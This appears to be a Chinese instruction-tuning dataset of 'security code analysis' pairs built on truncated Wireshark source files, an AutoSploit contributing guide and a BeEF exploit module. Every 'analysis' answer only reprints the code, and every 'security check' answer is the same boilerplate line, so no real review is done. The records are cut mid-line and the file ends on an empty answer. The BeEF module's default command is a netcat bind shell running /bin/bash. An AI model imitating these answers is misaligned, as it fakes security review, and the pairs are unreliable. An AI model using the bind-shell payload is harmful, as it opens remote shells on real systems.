Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
###
# Reference: http://itsecuritysolutions.org/2011-12-16-Privilege-escalation-and-remote-inter-protocol-exploitation-with-EXTRACT-0.5.1/
###
# EXTRAnet Collaboration Tool (extra-ct)
# Version: 0.5.1
# Homepage: http://www.extra-ct.net/
# Source: http://code.google.com/p/extra-ct/
# Source: http://sourceforge.net/projects/extract/
###
class Extract_cmd_exec < BeEF::Core::Command
  def self.options
    [
      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },
      { 'name' => 'rport',   'ui_label' => 'Remote Port', 'value' => '10100' },
      { 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },
      { 'name' => 'cmd',     'ui_label' => 'Commands',    'description' => 'Enter shell commands to execute. Note: Spaces in the command are not supported.', 'type' => 'textarea',
        'value' => '{netcat,-l,-p,1337,-e,/bin/bash}', 'width' => '200px' }
    ]
  end

  def post_execute
    save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?
    save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?
  end
end


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-tte-pcf.c
 * Routines for Time Triggered Ethernet Protocol Control Frame dissection
 *
 * Author: Valentin Ecker
 * Author: Benjamin Roch, benjamin.roch (AT) tttech.com
 *
 * TTTech Computertechnik AG, Austria.
 * https://www.tttech.com/technologies/time-triggered-ethernet/
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/etypes.h>

#include "packet-tte.h"

void proto_register_tte_pcf(void);
void proto_reg_handoff_tte_pcf(void);

/* Initialize the protocol and registered fields */
static int proto_tte_pcf = -1;

static int hf_tte_pcf_ic = -1;
static int hf_tte_pcf_mn = -1;
/* static int hf_tte_pcf_res0 = -1; */
static int hf_tte_pcf_sp = -1;
static int hf_tte_pcf_sd = -1;
static int hf_tte_pcf_type = -1;
/* static int hf_tte_pcf_res1 = -1; */
static int hf_tte_pcf_tc = -1;

/* Initialize the subtree pointers */
static gint ett_tte_pcf = -1;

static dissector_handle_t tte_pcf_handle;

static const value_string pcf_type_str_vals[] =
    { {2, "integration frame"}
    , {4, "coldstart frame"}
    , {8, "coldstart ack frame"}
    , {0, NULL}
    };

/* Code to actually dissect the packets */
static int
dissect_tte_pcf(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
    /* Set up structures needed to add the protocol subtree and manage it */
    proto_item *tte_pcf_root_item;
    proto_tree *tte_pcf_tree;

    /* variables used to store the fields displayed in the info_column */
    guint8 sync_priority = 0;
    guint8 sync_domain   = 0;

    /* Check that there's enough data */
    if (tvb_reported_length(tvb) < TTE_PCF_LENGTH )
    {
        return 0;
    }

    /* get sync_priority and sync_domain */
    sync_priority = tvb_get_guint8(tvb, TTE_PCF_IC_LENGTH+TTE_PCF_MN_LENGTH+
        TTE_PCF_RES0_LENGTH);
    sync_domain = tvb_get_guint8(tvb, TTE_PCF_IC_LEN...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-tte-pcf.c
 * Routines for Time Triggered Ethernet Protocol Control Frame dissection
 *
 * Author: Valentin Ecker
 * Author: Benjamin Roch, benjamin.roch (AT) tttech.com
 *
 * TTTech Computertechnik AG, Austria.
 * https://www.tttech.com/technologies/time-triggered-ethernet/
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/etypes.h>

#include "packet-tte.h"

void proto_register_tte_pcf(void);
void proto_reg_handoff_tte_pcf(void);

/* Initialize the protocol and registered fields */
static int proto_tte_pcf = -1;

static int hf_tte_pcf_ic = -1;
static int hf_tte_pcf_mn = -1;
/* static int hf_tte_pcf_res0 = -1; */
static int hf_tte_pcf_sp = -1;
static int hf_tte_pcf_sd = -1;
static int hf_tte_pcf_type = -1;
/* static int hf_tte_pcf_res1 = -1; */
static int hf_tte_pcf_tc = -1;

/* Initialize the subtree pointers */
static gint ett_tte_pcf = -1;

static dissector_handle_t tte_pcf_handle;

static const value_string pcf_type_str_vals[] =
    { {2, "integration frame"}
    , {4, "coldstart frame"}
    , {8, "coldstart ack frame"}
    , {0, NULL}
    };

/* Code to actually dissect the packets */
static int
dissect_tte_pcf(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
    /* Set up structures needed to add the protocol subtree and manage it */
    proto_item *tte_pcf_root_item;
    proto_tree *tte_pcf_tree;

    /* variables used to store the fields displayed in the info_column */
    guint8 sync_priority = 0;
    guint8 sync_domain   = 0;

    /* Check that there's enough data */
    if (tvb_reported_length(tvb) < TTE_PCF_LENGTH )
    {
        return 0;
    }

    /* get sync_priority and sync_domain */
    sync_priority = tvb_get_guint8(tvb, TTE_PCF_IC_LENGTH+TTE_PCF_MN_LENGTH+
        TTE_PCF_RES0_LENGTH);
    sync_domain = tvb_get_guint8(tvb, TTE_PCF_IC_LEN...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-dect_nwk.c
 *
 * Dissector for the DECT (Digital Enhanced Cordless Telecommunications)
 * NWK protocol layer as described in ETSI EN 300 175-5 V2.7.1 (2017-11)
 *
 * Copyright 2018 by Harald Welte <laforge@gnumonks.org>
 * Copyright 2022 by Bernhard Dick <bernhard@bdick.de>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"
#include <epan/packet.h>
#include <epan/packet_info.h>
#include <epan/proto.h>
#include <epan/tfs.h>
#include <epan/tvbuff.h>
#include <epan/value_string.h>
#include <epan/wmem_scopes.h>
#include <ftypes/ftypes.h>

#include "packet-e212.h"

void proto_register_dect_nwk(void);
void proto_reg_handoff_dect_nwk(void);

static int proto_dect_nwk = -1;

static int hf_nwk_ti = -1;
static int hf_nwk_pdisc = -1;
static int hf_nwk_msg_type_lce = -1;
static int hf_nwk_msg_type_cc = -1;
static int hf_dect_nwk_message_type_ciss = -1;
static int hf_dect_nwk_message_type_crss = -1;
static int hf_dect_nwk_message_type_clms = -1;
static int hf_dect_nwk_message_type_coms = -1;
static int hf_nwk_msg_type_mm = -1;

static int ett_dect_nwk_s_ie_element = -1;

static int hf_dect_nwk_s_ie_fl = -1;

static int hf_dect_nwk_s_ie_fl_type = -1;
static int hf_dect_nwk_s_ie_fl_double_octet_type = -1;

static int hf_dect_nwk_s_ie_fl_control_type = -1;

static int hf_dect_nwk_s_ie_fl_repeat_indicator_type = -1;

static int hf_dect_nwk_s_ie_fl_shift_locking = -1;
static int hf_dect_nwk_s_ie_fl_shift_new_codeset = -1;

static int hf_dect_nwk_s_ie_fl_basic_service_call_class = -1;
static int hf_dect_nwk_s_ie_fl_basic_service_type = -1;

static int hf_dect_nwk_s_ie_fl_single_display_display_info = -1;

static int hf_dect_nwk_s_ie_fl_single_keypad_keypad_info = -1;

static int hf_dect_nwk_s_ie_fl_release_reason_code = -1;

static int hf_dect_nwk_s_ie_fl_signal_value = -1;

static int hf_dect_nwk_s_ie_fl_timer_restart_value = -1;

static ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-dect_nwk.c
 *
 * Dissector for the DECT (Digital Enhanced Cordless Telecommunications)
 * NWK protocol layer as described in ETSI EN 300 175-5 V2.7.1 (2017-11)
 *
 * Copyright 2018 by Harald Welte <laforge@gnumonks.org>
 * Copyright 2022 by Bernhard Dick <bernhard@bdick.de>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"
#include <epan/packet.h>
#include <epan/packet_info.h>
#include <epan/proto.h>
#include <epan/tfs.h>
#include <epan/tvbuff.h>
#include <epan/value_string.h>
#include <epan/wmem_scopes.h>
#include <ftypes/ftypes.h>

#include "packet-e212.h"

void proto_register_dect_nwk(void);
void proto_reg_handoff_dect_nwk(void);

static int proto_dect_nwk = -1;

static int hf_nwk_ti = -1;
static int hf_nwk_pdisc = -1;
static int hf_nwk_msg_type_lce = -1;
static int hf_nwk_msg_type_cc = -1;
static int hf_dect_nwk_message_type_ciss = -1;
static int hf_dect_nwk_message_type_crss = -1;
static int hf_dect_nwk_message_type_clms = -1;
static int hf_dect_nwk_message_type_coms = -1;
static int hf_nwk_msg_type_mm = -1;

static int ett_dect_nwk_s_ie_element = -1;

static int hf_dect_nwk_s_ie_fl = -1;

static int hf_dect_nwk_s_ie_fl_type = -1;
static int hf_dect_nwk_s_ie_fl_double_octet_type = -1;

static int hf_dect_nwk_s_ie_fl_control_type = -1;

static int hf_dect_nwk_s_ie_fl_repeat_indicator_type = -1;

static int hf_dect_nwk_s_ie_fl_shift_locking = -1;
static int hf_dect_nwk_s_ie_fl_shift_new_codeset = -1;

static int hf_dect_nwk_s_ie_fl_basic_service_call_class = -1;
static int hf_dect_nwk_s_ie_fl_basic_service_type = -1;

static int hf_dect_nwk_s_ie_fl_single_display_display_info = -1;

static int hf_dect_nwk_s_ie_fl_single_keypad_keypad_info = -1;

static int hf_dect_nwk_s_ie_fl_release_reason_code = -1;

static int hf_dect_nwk_s_ie_fl_signal_value = -1;

static int hf_dect_nwk_s_ie_fl_timer_restart_value = -1;

static ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# Contributing

All contributions to AutoSploit are not only welcomed, but highly appreciated, please keep in mind the following while making a pull request:

- Each request should make at least one logical change
- All contributions should be forked from the `dev-beta` branch
- Each request will need to be reviewed before merged, if anything seems weird we will either fix it or ask you to fix it for us
- If you have multiple pushes in one request, please squash them together (or we will before we merge)
- All pull requests that are merged are provided under the same license as the program is, keep the following in mind;

> By submitting code contributions to AutoSploit via Git pull request or other, checking them into the AutoSploit's source code repository, it is understood (unless you specify otherwise) that you are offering the AutoSploit copyright holders the unlimited, non-exclusive right to reuse, modify, and re-license the code. This is important because the inability to re-license code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them.

## Getting started

To get started making a contribution please do the following:

- Read our [contribution standards](https://github.com/NullArray/AutoSploit/wiki/Development-information#contribution-standards)
- Fork the repository using the fork button
- `git clone https://github.com/<YOUR-NAME>/AutoSploit.git -b dev-beta`
- Edit the code to your liking
- After editing `git branch <YOUR-BRANCH-NAME> && git checkout <YOUR-BRANCH-NAME>`
- Add your commits and comment them
- `git push --set-upstream origin <YOUR-BRANCH>`
- Open a [pull request](https://github.com/NullArray/AutoSploit/pulls)
- Wait for us to check it out

  Thank you.


Instruction: 检查这段代码是否存在安全问题

Input:
# Contributing

All contributions to AutoSploit are not only welcomed, but highly appreciated, please keep in mind the following while making a pull request:

- Each request should make at least one logical change
- All contributions should be forked from the `dev-beta` branch
- Each request will need to be reviewed before merged, if anything seems weird we will either fix it or ask you to fix it for us
- If you have multiple pushes in one request, please squash them together (or we will before we merge)
- All pull requests that are merged are provided under the same license as the program is, keep the following in mind;

> By submitting code contributions to AutoSploit via Git pull request or other, checking them into the AutoSploit's source code repository, it is understood (unless you specify otherwise) that you are offering the AutoSploit copyright holders the unlimited, non-exclusive right to reuse, modify, and re-license the code. This is important because the inability to re-license code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them.

## Getting started

To get started making a contribution please do the following:

- Read our [contribution standards](https://github.com/NullArray/AutoSploit/wiki/Development-information#contribution-standards)
- Fork the repository using the fork button
- `git clone https://github.com/<YOUR-NAME>/AutoSploit.git -b dev-beta`
- Edit the code to your liking
- After editing `git branch <YOUR-BRANCH-NAME> && git checkout <YOUR-BRANCH-NAME>`
- Add your commits and comment them
- `git push --set-upstream origin <YOUR-BRANCH>`
- Open a [pull request](https://github.com/NullArray/AutoSploit/pulls)
- Wait for us to check it out

  Thank you.

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-nsrp.c
 * Routines for the Juniper Netscreen Redundant Protocol (NSRP)
 *
 * Secfire <secfire@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 *
 * NSRP update information can be found at www.juniper.net
 *
 *
 *
 *    NSRP Packet Header is defined as follow:
 *
 *       1         2       3        4        5         6       7        8
 *   +--------+--------+--------+--------+--------+--------+--------+--------+
 *   |Version | Type   |Clust ID|MSG Flag|     Length      |HA Port |Not Used|
 *   +--------+--------+--------+--------+--------+--------+--------+--------+
 *   |          Destination Unit         |             Source Unit           |
 *   +--------+--------+--------+--------+--------+--------+--------+--------+
 *
 *
 *
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/etypes.h>

void proto_register_nsrp(void);
void proto_reg_handoff_nsrp(void);

static dissector_handle_t nsrp_handle;

#define NSRP_MIN_LEN    32

/* Initialize the protocol and registered fields */
static int proto_nsrp       = -1;

static int hf_nsrp_version       = -1;
static int hf_nsrp_msg_type      = -1;
static int hf_nsrp_clust_id      = -1;
static int hf_nsrp_msg_flag      = -1;
static int hf_nsrp_len           = -1;
static int hf_nsrp_ha_port       = -1;
static int hf_nsrp_not_used      = -1;
static int hf_nsrp_dst_unit      = -1;
static int hf_nsrp_src_unit      = -1;
static int hf_nsrp_msgtype       = -1;
static int hf_nsrp_wst_group     = -1;
static int hf_nsrp_hst_group     = -1;
static int hf_nsrp_msgflag     = -1;
static int hf_nsrp_authflag      = -1;
static int hf_nsrp_priority      = -1;
static int hf_nsrp_dummy         = -1;
static int hf_nsrp_authchecksum  = -1;
static int hf_nsrp_ifnum         = -1;

/* Dada defined for HA Message */
static int hf_nsrp_msglen      = -1;
static int hf_nsrp_encflag      = -1;
...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-nsrp.c
 * Routines for the Juniper Netscreen Redundant Protocol (NSRP)
 *
 * Secfire <secfire@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 *
 * NSRP update information can be found at www.juniper.net
 *
 *
 *
 *    NSRP Packet Header is defined as follow:
 *
 *       1         2       3        4        5         6       7        8
 *   +--------+--------+--------+--------+--------+--------+--------+--------+
 *   |Version | Type   |Clust ID|MSG Flag|     Length      |HA Port |Not Used|
 *   +--------+--------+--------+--------+--------+--------+--------+--------+
 *   |          Destination Unit         |             Source Unit           |
 *   +--------+--------+--------+--------+--------+--------+--------+--------+
 *
 *
 *
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/etypes.h>

void proto_register_nsrp(void);
void proto_reg_handoff_nsrp(void);

static dissector_handle_t nsrp_handle;

#define NSRP_MIN_LEN    32

/* Initialize the protocol and registered fields */
static int proto_nsrp       = -1;

static int hf_nsrp_version       = -1;
static int hf_nsrp_msg_type      = -1;
static int hf_nsrp_clust_id      = -1;
static int hf_nsrp_msg_flag      = -1;
static int hf_nsrp_len           = -1;
static int hf_nsrp_ha_port       = -1;
static int hf_nsrp_not_used      = -1;
static int hf_nsrp_dst_unit      = -1;
static int hf_nsrp_src_unit      = -1;
static int hf_nsrp_msgtype       = -1;
static int hf_nsrp_wst_group     = -1;
static int hf_nsrp_hst_group     = -1;
static int hf_nsrp_msgflag     = -1;
static int hf_nsrp_authflag      = -1;
static int hf_nsrp_priority      = -1;
static int hf_nsrp_dummy         = -1;
static int hf_nsrp_authchecksum  = -1;
static int hf_nsrp_ifnum         = -1;

/* Dada defined for HA Message */
static int hf_nsrp_msglen      = -1;
static int hf_nsrp_encflag      = -1;
...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-pw-hdlc.c
 * Routines for HDLC PW dissection as per RFC4618.
 * Copyright 2009, Dmitry Trebich, Artem Tamazov <artem.tamazov@tellabs.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * History:
 * ---------------------------------
 * 02.03.2009 Initial implementation, supports:
 * - HDLC mode (rfc4618 5.1), no CW, payload is PPP (PPP in HDLC-like Framing (rfc1662)).
 * - FR port mode (rfc4618 5.2), no CW.
 *
 * [informative: Not supported yet:
 * - All kinds of HDLC PW with CW.
 * - PPP mode (rfc4618 5.3).
 * - For HDLC mode, decoding payloads other than PPP.]
 */

#include "config.h"

#include <epan/packet.h>

void proto_register_pw_hdlc(void);
void proto_reg_handoff_pw_hdlc(void);

static dissector_handle_t ppp_handle;
static dissector_handle_t fr_handle;
static dissector_handle_t pw_hdlc_nocw_fr_handle;
static dissector_handle_t pw_ppp_handle;

static gint proto_pw_hdlc_nocw_fr = -1;
static gint proto_pw_hdlc_nocw_hdlc_ppp = -1;

static gint ett_pw_hdlc = -1;

/* static int hf_pw_hdlc = -1; */
static int hf_pw_hdlc_address_field = -1;
static int hf_pw_hdlc_address = -1;
static int hf_pw_hdlc_cr_bit = -1;
static int hf_pw_hdlc_control_field = -1;
static int hf_pw_hdlc_pf_bit = -1;
static int hf_pw_hdlc_modifier = -1;
static int hf_pw_hdlc_frame = -1;

static const value_string pw_hdlc_modifier_vals[] = {
	{0x00, "UI - Unnumbered information" },
	{0x08, "UP - Unnumbered poll" },
	{0x10, "DISC/RD - Disconnect/Request disconnect" },
	{0x18, "UA - Unnumbered acknowledgment" },
	{0x20, "SNRM - Set normal response mode" },
	{0x38, "TEST - Test" },
	{0x01, "SIM/RIM - Set initialization mode/Request initialization mode" },
	{0x21, "FRMR - Frame reject" },
	{0x03, "SARM/DM - Set asynchronous response mode/Disconnect mode" },
	{0x0B, "SABM - Set asynchronous balanced mode" },
	{0x13, "SARME - Set asynchronous response extended mode" },
	{0x1B...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-pw-hdlc.c
 * Routines for HDLC PW dissection as per RFC4618.
 * Copyright 2009, Dmitry Trebich, Artem Tamazov <artem.tamazov@tellabs.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * History:
 * ---------------------------------
 * 02.03.2009 Initial implementation, supports:
 * - HDLC mode (rfc4618 5.1), no CW, payload is PPP (PPP in HDLC-like Framing (rfc1662)).
 * - FR port mode (rfc4618 5.2), no CW.
 *
 * [informative: Not supported yet:
 * - All kinds of HDLC PW with CW.
 * - PPP mode (rfc4618 5.3).
 * - For HDLC mode, decoding payloads other than PPP.]
 */

#include "config.h"

#include <epan/packet.h>

void proto_register_pw_hdlc(void);
void proto_reg_handoff_pw_hdlc(void);

static dissector_handle_t ppp_handle;
static dissector_handle_t fr_handle;
static dissector_handle_t pw_hdlc_nocw_fr_handle;
static dissector_handle_t pw_ppp_handle;

static gint proto_pw_hdlc_nocw_fr = -1;
static gint proto_pw_hdlc_nocw_hdlc_ppp = -1;

static gint ett_pw_hdlc = -1;

/* static int hf_pw_hdlc = -1; */
static int hf_pw_hdlc_address_field = -1;
static int hf_pw_hdlc_address = -1;
static int hf_pw_hdlc_cr_bit = -1;
static int hf_pw_hdlc_control_field = -1;
static int hf_pw_hdlc_pf_bit = -1;
static int hf_pw_hdlc_modifier = -1;
static int hf_pw_hdlc_frame = -1;

static const value_string pw_hdlc_modifier_vals[] = {
	{0x00, "UI - Unnumbered information" },
	{0x08, "UP - Unnumbered poll" },
	{0x10, "DISC/RD - Disconnect/Request disconnect" },
	{0x18, "UA - Unnumbered acknowledgment" },
	{0x20, "SNRM - Set normal response mode" },
	{0x38, "TEST - Test" },
	{0x01, "SIM/RIM - Set initialization mode/Request initialization mode" },
	{0x21, "FRMR - Frame reject" },
	{0x03, "SARM/DM - Set asynchronous response mode/Disconnect mode" },
	{0x0B, "SABM - Set asynchronous balanced mode" },
	{0x13, "SARME - Set asynchronous response extended mode" },
	{0x1B...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* etl.c
 *
 * Copyright 2020, Odysseus Yang
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * Reads an ETL file and writes out a pcap file with LINKTYPE_ETW.
 *
 * https://docs.microsoft.com/en-us/windows/win32/etw/event-tracing-portal
 */

#include "config.h"
#define WS_LOG_DOMAIN "etwdump"

#include "etl.h"
#include "wsutil/ws_getopt.h"
#include "wsutil/strtoi.h"
#include "etw_message.h"

#include <rpc.h>
#include <winevt.h>

#define MAX_PACKET_SIZE 0xFFFF
#define G_NSEC_PER_SEC 1000000000
#define ADD_OFFSET_TO_POINTER(buffer, offset) (((PBYTE)buffer) + offset)
#define ROUND_UP_COUNT(Count,Pow2) \
        ( ((Count)+(Pow2)-1) & (~(((int)(Pow2))-1)) )

extern int g_include_undecidable_event;

//Microsoft-Windows-Wmbclass-Opn
const GUID mbb_provider = { 0xA42FE227, 0xA7BF, 0x4483, {0xA5, 0x02, 0x6B, 0xCD, 0xA4, 0x28, 0xCD, 0x96} };
// Microsoft-Windows-NDIS-PacketCapture
const GUID ndis_capture_provider = { 0x2ed6006e, 0x4729, 0x4609, 0xb4, 0x23, 0x3e, 0xe7, 0xbc, 0xd6, 0x78, 0xef };

EXTERN_C const GUID DECLSPEC_SELECTANY EventTraceGuid = { 0x68fdd900, 0x4a3e, 0x11d1, {0x84, 0xf4, 0x00, 0x00, 0xf8, 0x04, 0x64, 0xe3} };
EXTERN_C const GUID DECLSPEC_SELECTANY ImageIdGuid = { 0xb3e675d7, 0x2554, 0x4f18, { 0x83, 0xb, 0x27, 0x62, 0x73, 0x25, 0x60, 0xde } };
EXTERN_C const GUID DECLSPEC_SELECTANY SystemConfigExGuid = { 0x9b79ee91, 0xb5fd, 0x41c0, { 0xa2, 0x43, 0x42, 0x48, 0xe2, 0x66, 0xe9, 0xd0 } };
EXTERN_C const GUID DECLSPEC_SELECTANY EventMetadataGuid = { 0xbbccf6c1, 0x6cd1, 0x48c4, {0x80, 0xff, 0x83, 0x94, 0x82, 0xe3, 0x76, 0x71 } };
EXTERN_C const GUID DECLSPEC_SELECTANY ZeroGuid = { 0 };

typedef struct _WTAP_ETL_RECORD {
    EVENT_HEADER        EventHeader;            // Event header
    ETW_BUFFER_CONTEXT  BufferContext;          // Buffer context
    ULONG               UserDataLength;
    ULONG               MessageLength;
    ULONG    ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* etl.c
 *
 * Copyright 2020, Odysseus Yang
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * Reads an ETL file and writes out a pcap file with LINKTYPE_ETW.
 *
 * https://docs.microsoft.com/en-us/windows/win32/etw/event-tracing-portal
 */

#include "config.h"
#define WS_LOG_DOMAIN "etwdump"

#include "etl.h"
#include "wsutil/ws_getopt.h"
#include "wsutil/strtoi.h"
#include "etw_message.h"

#include <rpc.h>
#include <winevt.h>

#define MAX_PACKET_SIZE 0xFFFF
#define G_NSEC_PER_SEC 1000000000
#define ADD_OFFSET_TO_POINTER(buffer, offset) (((PBYTE)buffer) + offset)
#define ROUND_UP_COUNT(Count,Pow2) \
        ( ((Count)+(Pow2)-1) & (~(((int)(Pow2))-1)) )

extern int g_include_undecidable_event;

//Microsoft-Windows-Wmbclass-Opn
const GUID mbb_provider = { 0xA42FE227, 0xA7BF, 0x4483, {0xA5, 0x02, 0x6B, 0xCD, 0xA4, 0x28, 0xCD, 0x96} };
// Microsoft-Windows-NDIS-PacketCapture
const GUID ndis_capture_provider = { 0x2ed6006e, 0x4729, 0x4609, 0xb4, 0x23, 0x3e, 0xe7, 0xbc, 0xd6, 0x78, 0xef };

EXTERN_C const GUID DECLSPEC_SELECTANY EventTraceGuid = { 0x68fdd900, 0x4a3e, 0x11d1, {0x84, 0xf4, 0x00, 0x00, 0xf8, 0x04, 0x64, 0xe3} };
EXTERN_C const GUID DECLSPEC_SELECTANY ImageIdGuid = { 0xb3e675d7, 0x2554, 0x4f18, { 0x83, 0xb, 0x27, 0x62, 0x73, 0x25, 0x60, 0xde } };
EXTERN_C const GUID DECLSPEC_SELECTANY SystemConfigExGuid = { 0x9b79ee91, 0xb5fd, 0x41c0, { 0xa2, 0x43, 0x42, 0x48, 0xe2, 0x66, 0xe9, 0xd0 } };
EXTERN_C const GUID DECLSPEC_SELECTANY EventMetadataGuid = { 0xbbccf6c1, 0x6cd1, 0x48c4, {0x80, 0xff, 0x83, 0x94, 0x82, 0xe3, 0x76, 0x71 } };
EXTERN_C const GUID DECLSPEC_SELECTANY ZeroGuid = { 0 };

typedef struct _WTAP_ETL_RECORD {
    EVENT_HEADER        EventHeader;            // Event header
    ETW_BUFFER_CONTEXT  BufferContext;          // Buffer context
    ULONG               UserDataLength;
    ULONG               MessageLength;
    ULONG    ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* conversation_dialog.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "conversation_dialog.h"

#include <epan/prefs.h>
#include <epan/to_str.h>
#include <epan/dissectors/packet-tcp.h>

#include "ui/recent.h"
#include "ui/tap-tcp-stream.h"

#include "wsutil/str_util.h"

#include <ui/qt/utils/qt_ui_utils.h>
#include <ui/qt/models/timeline_delegate.h>
#include <ui/qt/models/atap_data_model.h>
#include <ui/qt/widgets/traffic_tab.h>
#include <ui/qt/widgets/traffic_types_list.h>
#include "main_application.h"

#include <QCheckBox>
#include <QDateTime>
#include <QDialogButtonBox>
#include <QPushButton>
#include <QString>

// To do:
// - https://gitlab.com/wireshark/wireshark/-/issues/6727
//   - Wide last column?
// - Improper wildcard handling https://gitlab.com/wireshark/wireshark/-/issues/8010
// - TShark consolidation https://gitlab.com/wireshark/wireshark/-/issues/6310
// - Display filter entry?
// - Add follow, copy & graph actions to context menu.

// Bugs:
// - Slow for large numbers of items.
// - Name resolution doesn't do anything if its preference is disabled.

// Fixed bugs:
// - Friendly unit displays https://gitlab.com/wireshark/wireshark/-/issues/9231
// - Misleading bps calculation https://gitlab.com/wireshark/wireshark/-/issues/8703
// - Show Absolute time in conversation tables https://gitlab.com/wireshark/wireshark/-/issues/11618
// - The value of 'Rel start' and 'Duration' in "Conversations" no need too precise https://gitlab.com/wireshark/wireshark/-/issues/12803

static const QString table_name_ = QObject::tr("Conversation");

static ATapDataModel * createModel(int protoId, QString filter)
{
    return new ConversationDataModel(protoId, filter);
}

static QAbstractItemDelegate * createDelegate(QWidget * parent)
{
    TimelineDelegate * delegate = new TimelineDelegate(parent);
    delegate->setDataRole(ATapDataModel::T...


Instruction: 检查这段代码是否存在安全问题

Input:
/* conversation_dialog.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "conversation_dialog.h"

#include <epan/prefs.h>
#include <epan/to_str.h>
#include <epan/dissectors/packet-tcp.h>

#include "ui/recent.h"
#include "ui/tap-tcp-stream.h"

#include "wsutil/str_util.h"

#include <ui/qt/utils/qt_ui_utils.h>
#include <ui/qt/models/timeline_delegate.h>
#include <ui/qt/models/atap_data_model.h>
#include <ui/qt/widgets/traffic_tab.h>
#include <ui/qt/widgets/traffic_types_list.h>
#include "main_application.h"

#include <QCheckBox>
#include <QDateTime>
#include <QDialogButtonBox>
#include <QPushButton>
#include <QString>

// To do:
// - https://gitlab.com/wireshark/wireshark/-/issues/6727
//   - Wide last column?
// - Improper wildcard handling https://gitlab.com/wireshark/wireshark/-/issues/8010
// - TShark consolidation https://gitlab.com/wireshark/wireshark/-/issues/6310
// - Display filter entry?
// - Add follow, copy & graph actions to context menu.

// Bugs:
// - Slow for large numbers of items.
// - Name resolution doesn't do anything if its preference is disabled.

// Fixed bugs:
// - Friendly unit displays https://gitlab.com/wireshark/wireshark/-/issues/9231
// - Misleading bps calculation https://gitlab.com/wireshark/wireshark/-/issues/8703
// - Show Absolute time in conversation tables https://gitlab.com/wireshark/wireshark/-/issues/11618
// - The value of 'Rel start' and 'Duration' in "Conversations" no need too precise https://gitlab.com/wireshark/wireshark/-/issues/12803

static const QString table_name_ = QObject::tr("Conversation");

static ATapDataModel * createModel(int protoId, QString filter)
{
    return new ConversationDataModel(protoId, filter);
}

static QAbstractItemDelegate * createDelegate(QWidget * parent)
{
    TimelineDelegate * delegate = new TimelineDelegate(parent);
    delegate->setDataRole(ATapDataModel::T...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：
